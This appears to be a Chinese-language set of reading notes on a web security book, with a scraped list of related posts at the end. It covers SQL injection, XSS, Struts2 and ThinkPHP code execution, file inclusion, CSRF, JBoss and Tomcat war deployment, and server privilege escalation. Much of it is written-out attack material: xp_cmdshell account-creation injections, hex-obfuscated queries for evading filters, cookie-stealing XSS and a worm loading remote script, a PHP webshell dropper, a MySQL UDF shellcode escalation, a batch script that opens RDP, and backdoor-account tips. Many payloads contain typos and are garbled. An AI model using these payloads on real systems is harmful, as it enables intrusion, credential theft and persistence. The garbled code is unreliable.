《Web安全深度剖析》讀書筆記
本文詳細記錄 《Web安全深度剖析》 的學習過程,資料為 《Web安全深度剖析》
基礎篇
狀態碼
第一位數字定義嘞 響應的類別,且只有一下5種
1xx: 資訊提示,表示請求已被成功接收,繼續處理。其範圍是 100 ~ 101
2xx:成功,伺服器成功地處理了請求。其範圍是 200 ~ 206
3xx: 重定向。範圍是 300 ~ 305
4xx:客戶端錯誤狀態碼。範圍是 400 ~ 415
5xx:伺服器內部錯誤。範圍 500 ~ 505
常見狀態碼描述
200:客戶端請求成功,是最常見的狀態
302:重定向
404:請求資源不存在,是最常見的狀態
400:客戶端請求有語法錯誤,不能被伺服器所理解
401:請求未經授權
403:伺服器收到請求,但是拒絕提供服務
500:伺服器內部錯誤,是最常見的狀態
503:伺服器當前不能處理客戶端的請求,一段時間後可能恢復正常
JavaScript
JavaScript 屬於前端驗證,在瀏覽器未提交資料時進行驗證。Burpsuite 是在通過驗證並攔截 HTTP 請求後修改資料,JavaScript 的驗證根本起不了任何作用。
前端 JavaScript 驗證是為了防止使用者輸入錯誤,伺服器端驗證是為了防止惡意攻擊
黑帽 SEO
黑帽 SEO 利用 Referer 和 User-AgenT 來欺騙搜尋引擎。Refer而 告訴 Web 伺服器使用者從哪個頁面找過來的,而 User-Agent 則用於告訴 Web 伺服器使用者使用的瀏覽器和作業系統資訊。
當用戶通過搜尋引擎開啟此網站,一般會引出源頁面(Referer 頭),如:
Referer:http://www.baidu.com/s?tn=baiduhome_pg&ie=utg-8
Referer:http://www.google.hk/search?newwindow=1&safe=strict
利用這點,黑帽 SEO 就可以用任何 Web 語言進行鍼對這搜尋引擎的流量劫持,一般步驟如下:
- 建立劫持搜尋引擎庫,如:以Baidu、Google 等域名為關鍵字
- 獲取 HTTP Referer 頭
- 遍歷搜尋引擎庫,並與 Referer 的內容相比較,如果兩者相同或者存在搜尋引擎關鍵字,那麼頁面將會發生挑戰,也就是域名劫持。
User-Agnet 主要用於劫持搜尋引擎的蜘蛛,與劫持流量類似,但是具體的作用卻不一樣
第三章 資訊探測
Google Hack
常用語法
site:指定域名
intext:正文中存在關鍵字的頁面
intitle:標題中存在關鍵字的頁面
info:一些基本資訊
inurl: URL 存在關鍵字的網頁
filetype 搜尋指定檔案型別
原理篇
第 5 章 SQL注入漏洞
5.1 SQL Server
5.1.1 利用錯誤訊息提取
表結構如下:
create table users{ id int not null identtity(1,1), username verchar(20) not null, passowrd varchar(20) not null, prinvs int not null, email varchar(50) }
查詢 root 使用者的詳細資訊,SQL 語句如下:
delect * from users where username='root'
攻擊者可以利用 SQL Server 特性來獲取敏感資訊
輸入如下語句:
' having 1=1 --+
最終執行 SQL 語句為:
select * from users where username='root' and password='root' having 1=1--+
那麼 SQL 執行器將丟擲一個錯誤:
選擇列表中的列 'users.id' 無效,因為該列沒有包含在聚合函式 group by 子句中
可以發現當前表名為 users ,並且存在 id 列名
select * from users where username='root' and password='root' group by users.id having 1=1--+
執行器錯誤
'users.username' 無效,因為該列沒有包含在聚合函式或 group by 子句中
依次可以遞迴查詢,直到沒有錯誤訊息為止
利用資料型別錯誤提取資料
如果試圖將一個字串與非字串比較,或者將一個字元轉換為另外一個不相容的型別時,那麼 SQL 編輯器將會丟擲異常,比如:
select * from users where username='root' and password='root' and 1 > (select top 1 username from users)
執行器錯誤
在將 varchar() 值 'root' 轉換為資料型別 int 使失敗
利用此方法可以遞迴推匯出所有的賬戶資訊
select * from users where username='root' and password='root' and 1> (select top 1 from users where username not in('root'))
如果感覺遞迴比較麻煩,可以通過使用 FOR XML PATH 語句將查詢的資料生成 XML ,SQL 語句如下:
select * from users where username='root' and password='root' and 1=convert(int,(select stuff((select '.'=users.username,'|'=users.password from users for xml path("")),1,1,'')))
執行器異常
在將 nvarchar 值 'root|root,admin|admin,xsser|xsser' 轉換為資料型別 int 時失敗
5.1.2 獲取元資料
常見資料庫檢視
sys.databases:sql server 中的所有資料庫
sys/sql_logins:sql server 中所有登入名
information_schema.tables:當前使用者資料庫中的表
information_schema.columns:當前使用者資料庫中的列
sys.all_columns:使用者定義物件和系統物件的所有列的聯合
sys_database_principals:資料庫中每個許可權或列異常許可權
sys.database_files:儲存在資料庫中的資料庫檔案
sysobjects:資料庫中建立的每個物件(例如約束、日誌以及儲存過程)
5.1.3 Oeder by 子句
order by 子句:為 select 查詢的列排序,如果同時指定了 TOp 關鍵字,order by 子句在試圖、行內函數、派生表和子查詢中無效
攻擊者通常會注入 order by 語句來判斷此表的列數
select id,username,password from users where id=1
select id,username,password from id=1 order by 1
select id,username,password from id=1 order by 2
select id,username,password from id=1 order by 3
5.1.4 union 子句
使用 union 遞迴查詢獲取欄位數
union select null
union select null,null
查詢敏感資訊
id=5 union select null,'x',null,null from sysobject where xtype='U'
id=5 union select null,null,'x',null from sysobject where xtype='U'
union all 會自動去除重複的資料,並且按照預設規則排序
5.1.5 系統函式
suser_name():返回使用者的登入名
user_name(): 基於指定的識別符號返回資料庫使用者名稱
db_name():返回資料庫名稱
is_numbei('db_owner'):是否為資料庫角色
cinvent(int,'5'):資料型別轉換
stuff:字串擷取函式
ascii:取 ascii 碼
char: 根據 ascii 碼去字元
getdata:返回日期
count: 返回組中的總條數
cast: 將一種資料型別的表示式顯式轉換為另一種資料型別的表示式
rand():返回隨機值
is_srvrolemember: 指示 SQL Server 登入名是否為指定伺服器角色成員
5.1.6 危險的儲存過程
最常用的儲存過程是 xp_cmdshell 這個儲存過程允許使用者執行作業系統命令
select * from table where id=1;exec xp_cmdshell 'net user test test /add'
並不是任何資料庫使用者都可以使用此類儲存過程,使用者必須持有 control server 許可權
向 xp_cmdshell 這樣的儲存過程還有很多
sp_addlogin:建立新的 sql server 登入,該登入允許使用者使用 sql server 身份驗證連線到 sql server 例項
sp_dropuser:從當前資料庫中刪除資料庫使用者
xp_enumgroup:提供 windows 本地組列表或在指定的 windows 域中定義的全域性列表
xp_regwirte:未被公佈的儲存過程,寫入登錄檔
xp_regread:讀取登錄檔
xp_regdeletevalue:刪除登錄檔
xp_dirtree:讀取目錄
sp_password:更改密碼
xp_servicecontrol:停止或啟用某服務
角色與許可權:
bulkadmin:角色成員可以執行 bulk insert 語句
dbcrrator:可以建立、更改、刪除和還原任何資料庫
diskadmin:可以管理磁碟檔案
processadmin:可以終止在資料庫引擎例項中執行的程序
securityadmin:可以管理登入名機器屬性
serveradmin:可以更改伺服器範圍的配置選項和關閉伺服器
setupadmin:可以新增和刪除連結伺服器,並可以執行某些系統儲存過程
sysadmin:可以在資料庫引擎中執行任何活動
5.1.7 動態執行
exec(‘select username,password from users’)
exec(‘selec’+’t username,password fro’+’, users’)
也可以通過定義十六進位制的sql語句使用 exec 函式執行,可以突破很多防火牆和防注入程式
declare @query varchar(888)
select @query=0x76956C6563745031
exec(@query)
或者
declare/**/@query/**/varchar(888)/**/select/**/@query=0x73656C6563742031/**/exec(@query)
5.2 oracle
- 元資料
select tablespace_name from user_tablespaces
select table_name from user_tables where rownum=1
select cokumn_name from user_tab_columns where table_name=’users’
select username from all_users
select object_name from user_objects
union 查詢
oracle 與 mysql 一樣不支援多語句執行,不想 sql server 那樣可以執行多條語句
?id=1;exec xp_cmdshell 'net user temp test / add'
查詢列數
在 sql server 和 mysql 中可以直接使用
union select null,null,null...
但是在 oracle 中必須使用:
union select null,null,null,... from dual
dual 是 oracle 的虛擬表,在不知道資料庫中存在哪些表的情況下,可以使用此表作為查詢
oracle 是強型別資料庫,必須使用明確的資料型別,所以一般使用 null 代替
獲取敏感資訊
常見敏感資訊
當前使用者許可權:select * from session_roles 當前資料庫版本: select banner from sys.v_$version where rownum=1 伺服器出口IP:用 utl_http.request 可以實現 伺服器監聽IP: select utl_inaddr.get_host_address from dual 伺服器作業系統: select menber from v$logfile where rownum=1 伺服器sid:select instance_name fromv$instance 當前連線使用者:select sys_context('userenv','current_user') from dual
獲取表資料
union select username,null,null from users--+ union select null,username,null from users--+ union select null,null.username from users--+ union select null,columns,null from tableName--+
oracle 中包的概念
oracle 可以分為兩個部分,一部分是包的規範,相當於java 中的介面,另一部分是包體,相當於java 理介面的實現類,實現了具體的操作
utl_http:提供了對http的一些操作
select utl_http.request('http://www.baidu.com') from dual # 返回 html 原始碼
utl_file:專門用來操作I/O
# 寫檔案 create or replace directory XXSER_DIR as 'C:\'; declare xs_file utl_file.file_type; begin xs_file:=utl_file.fopen('XXSER_DIR','bug.jsp','w') utl_file.put_line(xs_file,'木馬後門'); utl_file.put_line(xs_file,'木馬後門2') utl_file.fflush(xs_file); utl_file.fclose(xs_file) end; # 讀檔案 create or replace directory XXSER_DIR as 'C:\'; declare fp_buffer varchar2(4000); begin xs_file:=utl_file.fopen('XXSER_DIR','bug.jsp','w') utl_file.get_line(xs_file,fp_buffer); dbms_output.out_line(fp_buffer) utl_file.fclose(xs_file) end; # 執行系統命令 有點多,不抄了
第 7 章 XSS 跨站指令碼漏洞
攻擊者可以在\ 之間輸入 Javascript 程式碼,實現特殊效果。
還可以使用 \ 方式來載入指令碼
JS 載入外部的程式碼檔案可以是任意副檔名(無副檔名也可以),即使是圖片檔案,只要其中包含JS程式碼,也可以執行
反射型 XSS
攻擊者偽造連結(站內私信),誘使使用者點選,由此盜取使用者的cookie,攻擊者可以使用使用者的cookie 來登入網站
儲存型 XSS
反射型 XSS 和 DOM 型 XSS 都依靠使用者手動去觸發,儲存型 XSS 卻不需要
測試是否存在 儲存型 XSS
確定輸入點和輸出點
首選尋找留言內容輸出的地方是在標籤內還是在標籤屬性內。如果在屬性內,xss程式碼是不會執行的。
如果是在屬性內,就要先閉合屬性值。
<input type="text" name="content" value=""/ ><secrpt>alert(1)</script"/>
測試步驟:
新增正常留言,使用 firebug 快速尋找顯示標籤
輸入敏感字元,檢視是否被轉義。敏感字元不容易尋找,可以使用 “AAAAA<>”’&” 字串,查詢的時候直接查詢 AAAAA
如果顯示區域不在 HTML 屬性內,則可以直接使用 XSS 程式碼注入,如果不能得知輸出的具體位置,則可以使用模糊測試方案
<script>alert(document.cookie)</script> 普通注入 "/><script>alert(document.cookie)</script> 閉合標籤注入 </textarea>'"><script>alert(document.cookie)</script> 閉合標籤注入
在插入盜取 cookie 的 JS 程式碼後,重新載入留言頁面(使用者檢視的時候),XSS程式碼被瀏覽器執行
DOM型 XSS
若 URL 的功能是獲取 content 引數的值並且輸出,就可以使用 XSS 漏洞
?content=<script>alert(/xss/)</script>
危害
- 盜取 cookie
- 修改網頁內容
- 網站掛馬
- 利用網站重定向
- XSS蠕蟲
會話劫持
攻擊者盜取使用者的 cookie 值之後,使用使用者的 cookie 值登入目標網站
sessionid 存在伺服器端,一般存在於 cookie 中,也可以存在於 URL 中,每個使用者的 sessionid 是不同的,包括普通使用者和管理員
XSS getshell
xss getshell 的條件是苛刻的,只有開源的 web 應用程式才有可能,在進行黑盒測試的時候,xss getshell 幾乎是不可能的事情
XSS 蠕蟲
XSS 蠕蟲是針對瀏覽器的攻擊,且網站規模越大,攻擊效果越大
步驟:
- 發表一個正常的微博資訊,並且記錄 articleid
構造使用者並轉發微博的URl
<script> function getuserid() {通過AJAX獲取userid return userid;} function getforwardurl() {var userid=getuderid; var forwardurl="http://www.xxser.com/forward.php?userid="+userid+"&articleid=86"; return forwardurl;} </script>
編輯微博,插入 xss
<script sec=http://www.xxser.com/1.js></script>
第 8 章 命令執行漏洞
命令執行漏洞是直接呼叫系統命令
程式碼執行漏洞是靠執行程式碼來呼叫系統命令
php 命令執行:
system()
shell_exec()
exec()
passthru()
struct2 程式碼執行
http://host/struct2-blank/example/X.action?action=%25[3*4]
# 訪問以上程式碼,struct2 將會執行 3*4 表示式,如果將 3*4 表示式換成以下語句,將會導致程式碼執行漏洞
http://host/struct2-showcase/employee/save.actions?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}
ThinkPHP 命令執行
index.php/module/action/paraml/${@print(THINK_VERSION)}
index.php/module/action/paraml/${@print(eval($_POST[c])}
第 9 章 檔案包含漏洞
函式
require():找不到被包含檔案是報錯且停止腳步
include():找不到北包含檔案時警告並且繼續執行
include_once():若檔案中的程式碼已經被包含,則不會再次包含
require_once():若檔案中的程式碼已經被包含,則不會再次包含本地檔案包含
只要檔案內容符合php語法規範,那麼任何副檔名都可以被解析
如果包含 php 語法規範原始檔時,將會暴露其原始碼遠端檔案包含
需要開啟 allow_url_include = on
攻擊者輸入 URL index.php?page=xxx.php,由於xxx.php 不存在,所以會報錯,暴露出網站的絕對路徑
PHP 檔案包含利用
讀取敏感檔案
index.php?page=/etc/passwd
遠端包含shell
index.php?page=echo.txt
其中 echo.txt 內容如下:
<?fput(fopen("shell.php","w"),"<?php wcal($_POST[xxser];)?>")?>
訪問該檔案,則會在index.php 目錄下生成 shell.php,內容為
第 10 章 其他漏洞
1. csrf 漏洞
簡介
在訪問銀行頁面的時候(sessionid 有效),點選了惡意連結,攻擊者就可以直接進行轉賬
編寫一個單獨的頁面(CSRF 蠕蟲)
頁面內容(預設已經獲取了使用者的會話狀態),轉發微博,並且關注特定使用者
如果希望靜悄悄地提交資料,不希望頁面跳轉,可以使用 AJAX 來解決問題
編寫 CSRF 的 PoC
<html> <body> <form name="myform" action="delUser.action" method="GET"> <imput type="hidden" name="id" value="5"> </form> <script> var myform = document.getElementById("myform"); myform.submit(); </script> </body> </html>
開啟這個HTML,JS 會自動提交 form 表單,當請求成功後,檢視 ID 為5 的使用者是否已經被刪除,如果被刪除,就可以確定存在 CSRF 漏洞
CSRF 可以理解為:伺服器到底有沒有執行 POC 請求,如果已執行,則代表存在 CSRF 漏洞
防禦
- 二次確定
使用 token
- 每當使用者登入後隨機生成一段字串,並且儲存在 session 中
- 在敏感操作中加入隱藏標籤,value 即為 session 中儲存的字串(token值)
當GET 請求時,考慮使用在 cookie 中儲存 token - 提交請求後,伺服器端去除 session 中的字串與提交的 token 對比,如果一致,則認為是正常請求
- 更新 token 值
當XSS 和 CSRF 同時存在時,Token 防禦機制會失效,因為攻擊者可以通過 JS 開獲取 Token 值
如果一個網站同時存在 XSS 和CSRF漏洞時,那麼,那麼XSS可以比CSRF做的更多。CSRF其實就是 XSS 的縮小版。
如果網站存在 XSS 漏洞,那麼防範 CSRF 是沒有任何意義的
2. 水平越權
通過修改 id 值來獲取同級使用者的資訊
通過修改 id 來重置同級別的其他使用者的密碼
3. 垂直越權 ###
通過修改 id 值來獲取不同級使用者的資訊
4. webserver 遠端部署漏洞
tomcat
將 jsp 木馬製作成 war 包
jar -cvf war_name.war shell.jsp //打包指定檔案 jar -cvf shell.war * //打包當前目錄下的所有檔案
在 war file to deploy ,也就是 war 檔案部署,上傳 war 檔案後,tomcat 自動部署
這一功能需要密碼驗證,且使用者需要有 manager 許可權
但是預設使用者和弱口令問題還需要防範,另外還有後門賬號問題
JBoss
沒有密碼驗證
在 JMX console -> jboss.deployment -> flavor=URL,type=DeploymentScanner 選項,遠端部署連線
tomcat需要本地上傳,而 JBoss 是使用 url 上傳 ,url 是 war 檔案的下載地址
http://www.sebug.org/jsp.war
部署成功後就可以訪問部署後的檔案路徑
http://www.xxser.com/shell/jsp.jsp
此時的 jsp 檔案為臨時檔案,當伺服器重啟之後檔案消失。
由於沒有密碼認證策略,則攻擊者常常使用 google hack 來批量獲取 shell
WebLogic
新版本有很嚴格的密碼認證策略,老版本存在弱口令問題:weblogic、system、portaladmin、guest
跟 tomcat 類似,也可以在本地上傳一個 war 包
部署成功後,預設的檔名是 war_name + war 壓縮包內檔名
程式碼注入
OS 命令執行
<?php $command = $_REQUEST["command"]; system($command); ?> http:// www.sebug.org/cmd.php?command=ls
檔案包含
<?php $page = $_REQUEST["page"]; include($page); ?> http://www.sebug.com/page.php?page=info.txt
動態函式執行
<?php function A(){ echo "A"; } function B(){ echo "B" } $func = $_REQUEST["func"]; $func(); ?>
程式碼執行
<?php $myvar = :"varname"; $x = $_GET['arg']; wval("\$myvar = \$x;"); ?>
第 14 章 提權
1. 資訊收集
- 伺服器支援的指令碼
- 埠探測
- 蒐集路徑資訊
2. 資料庫提權
SQL Server 提權
主要是利用 xp_cmdshell 這個特殊的儲存儲存過程提權
這個特殊的儲存過程可以執行系統命令
只有在 sysadmin 許可權下才可以使用
sql server 提權分為兩種:
注入點提權
?id=1;exec master..xp_cmdshell ‘net user 1 1 /add’–+
得到資料庫賬戶資訊
假設攻擊者已經得知“SA”賬戶的密碼,就可以使用兩種方式提權,一種是外連線提權(遠端連線資料庫提權),另一種是本地連線提權(只能在伺服器端提權,通過伺服器端的指令碼連線資料庫進行提權)。
賬戶資訊通常在 conn.asp、web.config、db.inc
可以通過 sp_configure 啟用 xp_cmdshell
開啟 xp_cmdshell 的sql 語句:
exec sp_configure 'show advanced options',1 go reconfigure go exec sp_configure 'xp_cmdshell',1 go reconfigure go
關閉 xp_cmdshell 的sql 語句:
exec sp_configure 'show advanced options',1 go reconfigure go exec sp_configure 'xp_cmdshell',0 go reconfigure go
mysql 提權
使用自定義函式提權
create table temptable(udf blog); 建立臨時表 insert intotemptablevalues(convert(shellcode,char));插入 shellcode select udf from temptable into dumpfile 'c:\windows\udf.dll'; //匯出 udf.dll,mysql 5.0以上必須要匯出到系統目錄, //mysql 5.1 以上的版本只能匯出到 msyql 安裝目錄下的 lib/plugin 目錄下才可以 drop table temptable; 刪除臨時表 create function cmdshell returns string soname 'udf.dll'; 建立 cmdshell 函式 select cmdshell('command'); 執行命令 drop function cmdshell; 刪除 cmdshell函式
存在一些自動化提權指令碼
mysql 資料庫的賬戶密碼存放在 /data/mysql/user.MYD 中,md5 加密的
也可以利用 mysql 寫檔案的特性將密碼寫入到啟動項中
FTP 提權
如果賦予使用者執行許可權,那麼 FTP 使用者就可以使用 “quote site exec” 執行系統命令,比如 “quote site exec net user temp temp /add” 命令
Serc-U
Serc-U 的賬號密碼存放在 SercAdmin.exe 中。將其下載至本地,使用十六進位制開啟即可發現管理員密碼。蒐集目錄很重要
FTP 賬戶在配置檔案 ServUDeamon.ini 中,Password 是 md5 加密。可以新增賬戶並賦予執行許可權(quote site exec),也可以破解其他賬戶密碼。(Serv-U V6.4)
FileZilla
FileZillaServer Interface.xml 儲存了FTP 管理員資訊,Last Server password 明文密碼
FileZilla Server.xml 儲存了伺服器所有的 FTP 使用者資訊,User Pass 標籤
虛擬主機提權
星外虛擬主機:D:\freehost\xxxxxxx\ 華眾虛擬主機:D:\hzhost\xxxxxxx\ 新網虛擬主機:D:\virtualhost\xxxxxxxx\ 萬網虛擬主機:D:\user\xxxxxxx\
虛擬主機都會支援 aspx 副檔名的指令碼語言,而 aspx 可以執行一些簡單的系統命令,既然可以執行系統命令就可以嘗試本地溢位
可以使用一些 0day 來提權
3. 3389 埠
遠端開啟 3389 埠(bat 指令碼)
echo Windows Registry Editor Version 5.00>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg
echo "fDenyTSConnections"=dword:00000000>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
regedit /s 3389.reg
del 3389.reg
4. DLL 劫持
lpk.dll 位於 system32 目錄下,每個可執行檔案在執行之前都要載入這個檔案。
windows 是先判斷當前目錄是否存在此檔案,再判斷特定路徑是否存在此檔案
工具:Tools Lpk Sethc
5. 新增後門 ###
- 遠端控制程式
後門賬號
HideAdmin 工具可以隱藏賬戶
克隆賬號
克隆一個賬號放在 administrator 組
直接使用 Administrator 的賬號密碼
使用 minikatz 可以讀取管理員密碼
線上程插入後門
web 後門
相關推薦
《web安全深度剖析》筆記(二)
http狀態碼,3個數字。第一位定義響應類別 1xx 資訊提示表請求已被成功接收,繼續 100~101 2xx 成功,伺服器成功處理請求 200~206 3xx 重定向,告訴客戶端新資源地址,瀏覽器重新對新資源傳送請求 300~305 4xx 客戶端錯誤狀態碼 40
《web安全深度剖析》筆記五
客戶端使用<img>標籤訪問驗證碼生成函式或類,然後驗證碼函式生成字串,儲存在SESSION中,並且生成圖片檔案傳送給前臺<img>標籤顯示,使用者看到、輸入、提交後,將會與SESSION中的字串相比較,若相等,則是正確的 使用登陸日誌可以有效防止
《Web安全深度剖析》讀書筆記
本文詳細記錄 《Web安全深度剖析》 的學習過程,資料為 《Web安全深度剖析》 基礎篇 狀態碼 第一位數字定義嘞 響應的類別,且只有一下5種 1xx: 資訊提示,表示請求已被成功接收,繼續處理。其範圍是 100 ~ 101 2xx:
Web安全深度剖析-剛開始看
web安全 技術 inf .com nbsp com 9.png 圖片 安全 Web安全深度剖析-剛開始看
C語言深度剖析——讀書筆記
1、 什麼是定義,什麼是宣告? 定義:編譯器建立一個物件,併為這個物件分配一塊記憶體,給它取上一個名字。 宣告:1>告訴編譯器這個名字已經已經分配到一塊記憶體上了 2>告訴編譯器這個名字已經被預定了,別的地方不能再用它來作為變數名或物件名
《C語言深度剖析》筆記
可變 單詞 符號 所有 只讀 存儲 nbsp min stat 關鍵字: C語言關鍵字32個: 關鍵字 意 義 auto 聲明自動變量,
AI聖經-深度學習-讀書筆記(七)-深度學習中的正則化
深度學習中的正則化 0 簡介 機器學習中的一個核心問題是設計不僅在訓練資料上表現好,而且能在新輸入上泛化好的演算法。採用顯式減少測試誤差(可能會增加訓練誤差)的策略稱為正則化。 在深度學習的背景下,大多數正則化策略都會對估計進行正則化(以偏差的增加換取方差
AI聖經-深度學習-讀書筆記(八)-深度模型中的優化
這一樣整理的內容非常少,以後會補上的。由於水平有限,實在看不懂。目前只是《深度學習》的第一版筆記,以後會以專欄的形式從新整理,不再是簡單的摘錄,更多的加上自己的思考。 深度模型中的優化 0 簡介 深度學習演算法在很多情況下都涉及優化。本章主要關
C語言深度解剖讀書筆記2
struct 平時我們要求函式的引數儘量不多於四個,如果函式的引數多於四個使用起開非常容易出錯(包括每個引數的意義和順序都容易弄錯),效率也會降低(與具體CPU有關)。這個時候,就可以用結構體壓縮引數個數。 空結構體多大 結構體所佔的記憶體大小是其成員記憶體之和,如果成員記憶體為0,例如
C語言深度解剖讀書筆記1
關鍵字 意義 關鍵字 意義 auto 宣告自動變數,預設時編譯器一般預設為auto register 宣告暫存器變數 int
深度學習讀書筆記 第二章:線性代數
2.1 標量、向量、矩陣和張量 標量:scalar,是一個單獨的數 向量:vector,是一列有序的數.方括號包圍的縱列,每個元素有一個索引。 矩陣:matrix,二維陣列,每個元素由兩個索引組成。Aij處於i行j列。 張量:tensor,超過二維的陣列。 標量和矩陣的運算:
驗證碼安全深度剖析
驗證碼大家都比較熟悉,一般是為了防止暴力破解和機器的惡意註冊,但是你的驗證碼安全嗎? 前端繞過驗證碼 有些驗證碼是通過前臺校驗的,就是前臺寫一個生成驗證碼的函式,然後去跟使用者輸入做比較 就像這種我們來看看他的原始碼 這個時候我們就發現後臺沒有去校驗使用者輸入的驗證碼,我
【深度學習讀書筆記】第一章 引言
在人工智慧的早期,那些對人類智力來說非常困難、但對計算機來說相對簡單的問題得到迅速解決,比如,那些可以通過一系列形式化的數學規則來描述的問題。人工智慧的真正挑戰在於解決那些對人來說很容易執行、但很難形式化描述的任務,如識別人們所說的話或影象中的臉。 讓計算機從
深度學習讀書筆記之RBM(限制波爾茲曼機)
深度學習讀書筆記之RBM 宣告: 1)看到其他部落格如@zouxy09都有個宣告,老衲也抄襲一下這個東西 2)該博文是整理自網上很大牛和機器學習專家所無私奉獻的資料的。具體引用的資料請看參考文獻。具體的版本宣告也參考原文獻。 3)本文僅供學術交流,非商用。所以每一部分具體
C語言深度剖析-讀書簡記
陳正衝的《C語言深度剖析. 第2版》這本書很不錯,對C語言中的一些易錯和重要的知識點進行了深度剖析,碰巧在網上看到這篇部落格,對這本書中的關於C語言的一些易錯的和重要的知識點做了一些整理,故轉載過來,以便後續查閱。 寫在前面 最近再次溫習C語言深度剖析,對C
C語言深度解剖讀書筆記(4.指標的故事)
指標這一節是本書中最難的一節,尤其是二級指標和二維陣列直接的關係。 本節知識點: 1.指標基礎,一張圖說明什麼是指標: 2.跨過指標,直接去訪問一塊記憶體: 只要你能保證這個地址是有效的 ,就可以這樣去訪問一個地址的記憶體*((unsigned int *)(0x
AI聖經-深度學習-讀書筆記(六)-深度前饋網路
深度前饋網路(DFN) 0 簡介 (1)DFN:深度前饋網路,或前饋神經網路(FFN),或多層感知機(MLP) (2)目標 近似某個函式 f∗f∗。例如,定義一個對映y=f(x;θ)y=f(x;θ),並且學習θθ的值,使它能夠得到最佳的函式近似。
深度學習讀書筆記:DeepLearningBook
Chapter 9 Convolutional Networks(卷積神經網路) 卷積網路僅僅是在其至少一個層中使用卷積代替一般矩陣乘法的神經網路。 The Convolution Operation The convolution operat
木馬核心技術剖析讀書筆記之木馬技術的發展趨勢
通訊隱蔽化 為了更好地逃避目標主機上的安全軟體、防火牆的攔截,越來越多的木馬採用更底層的通訊協議,甚至實現不同於 TCP/IP 協議的私有協議,以達到更好的通訊過程隱蔽化 基於 Tor 的通訊 Tor 提供了一個頂級域 .onion,使用者只能通過 T
網際網路企業安全高階指南讀書筆記之安全管理體系
外部評價指標 攻防能力——如果安全團隊沒幾個懂攻防的骨幹,那像樣的安全團隊這件事就無從談起、對攻防的理解是做安全的基礎,業界普遍的狀況是整體實力強的安全團隊攻防能力必然不弱,而攻防能力弱的團隊其